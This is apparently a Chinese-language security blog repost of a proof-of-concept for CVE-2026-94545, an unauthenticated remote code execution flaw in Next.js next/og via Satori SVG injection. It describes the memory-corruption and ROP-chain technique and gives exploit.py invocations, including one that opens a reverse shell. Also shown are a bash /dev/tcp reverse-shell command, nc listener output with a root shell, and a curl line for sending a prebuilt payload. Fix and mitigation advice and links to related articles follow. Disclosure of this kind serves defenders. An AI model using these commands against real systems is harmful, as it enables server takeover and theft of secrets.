CVE-2026-94545Next.jsnext/og未经身份验证的远程代码执行POC"

admin 2026-10-16 06:35:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-94545 Next.js next/og 未经身份验证的远程代码执行 POC

酷酷信安

2026年9月30日 09:43
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

为方便阅读显示,建议大家把酷酷信安“设为星标”

01 简介:

next/og它通过 Satori 将 JSX 渲染成 SVG,然后栅格化该 SVG 来构建 Open Graph 图像。Satori 会将用户提供的文本写入 SVG 而不进行转义(CWE-116),因此请求可以关闭外层元素并注入自身的 SVG 标记。当路由在sharp安装了相关库的 Node.js 运行时运行时,该 SVG 会由原生库(libvips、librsvg、libxml2)而非沙盒化的 wasm 渲染器进行栅格化。由XInclude 引用和嵌套 DTD 实体构建的有效负载会破坏原生解析器内部的内存。官方的 Node.js 二进制文件并非 PIE 版本,因此其代码和 GOT 未随机化,并且固定的 ROP 链可以到达而execve不会发生地址泄漏。只需向 OG 图像路由发送一个未经身份验证的请求,就足以以服务器进程的身份运行命令。

02 受影响的版本:

  • Next.js 16.2.0 – 16.3.5(Node 运行时,sharp已安装),Satori >=0.0.27 <0.33.5

03 POC :

存在漏洞的路由是POST /api/og。它获取请求体并将其放入 SVG 中,<title> 然后再进行光栅化。exploit.py为选定的命令构建该 SVG,将 ROP 链编码为 <path>,并将其发送到路由。

最简单的运行方式是打开一个反向 shell。给它目标地址和监听地址;它会自动启动nc ,发出请求,并将 shell 交给你。

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

有效载荷已针对“环境”中列出的堆栈进行校准,因此请在当前镜像或具有相同 Node 和 Sharp 构建版本的宿主机上运行它。如果成功,Node 进程将被您的命令替换,这意味着 HTTP 请求将关闭,服务将停止响应,直到容器重启。

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

反向 shell 作为服务器进程运行,它通过单个未经身份验证的请求来确认代码执行。要运行一个没有监听器的命令,可以直接传递该命令;请注意,输出不会通过 HTTP 返回,因此命令必须将任何想要查看的内容以带外方式发送。

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command \"id\"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command \"id\" --output payload.bin curl --data-binary @payload.bin -H \"Content-Type: text/plain\" http://172.17.0.3:3000/api/og

修复版本:

  • 升级到 Next.js 16.3.6 / Satori 0.33.5 或更高版本,该版本会在序列化 SVG 文本时对其进行转义,从而关闭注入。
  • 如果暂时无法升级,请将next/og路由移至export const runtime = 'edge'使用沙盒 wasm 渲染器的位置,或者移除路由sharp以避免访问原生路径,并将未经清理的用户输入排除在ImageResponse子进程之外。
  • 将 OG 镜像路由置于身份验证或允许列表之后,并限制服务器的出站流量,以增加盲泄露的难度。
  • 打完补丁后,将可通过互联网访问的实例视为已入侵:轮换应用程序进程可以读取的任何密钥,并检查其持久性

项目地址:

https://github.com/EQSTLab/CVE-2026-94545

**往期推荐:****

fastjson 1.2.66–83 rce 复现环境项目及POC

LINUX DO网页中反扒AI prompt

最全的817 项结构化网络安全skills

*持续分享技术干货,喜欢这篇文章,记得三连哦!*

第90篇AI全栈·网络安全的创新方向" 网络安全文章

第90篇AI全栈·网络安全的创新方向"

本文探讨AI在网络安全领域的创新方向,指出AI并非替代安全人员,而是替代低效环节。核心方向包括数据安全治理、安全运营研判、开发安全、自动化渗透和邮件安全。建议从痛感明显的场景切入,优先私有化部署,建立人机协作流程,从小范围试点推进。文章强调大模型自身安全风险,需建立防御机制。
智能体CodeArts,可每日免费领1000万tokens" 网络安全文章

智能体CodeArts,可每日免费领1000万tokens"

本文为华为云CodeArts智能体产品推广软文,介绍其作为一站式DevSecOps平台的功能特性,强调每日可免费领取1000万tokens。作者分享了在线体验及Windows客户端的使用流程,测试了生成3D游戏等场景,认为效果令人满意,并提及支持DeepSeek、GLM等模型。文章属于产品介绍与体验分享,可操作建议为访问官网免费体验。
OpenAI就澳大利亚政府网站遭黑客攻击事件公开道歉" 网络安全文章

OpenAI就澳大利亚政府网站遭黑客攻击事件公开道歉"

文档汇总多起网络安全事件,包括OpenAI就澳大利亚政府网站遭攻击道歉、西班牙铁路运营商Renfe数据泄露、美国VantageMediaAI公司6.28亿条数据暗网泄露、ShinyHunters接管Cl0p勒索软件网站、AI账户成为窃取者目标、TimesCar数据泄露、苹果修复CoreGraphics漏洞、CISA警告Citrix漏洞被利用等。建议关注AI账户安全、及时修补已知漏洞。
评论:0   参与:  0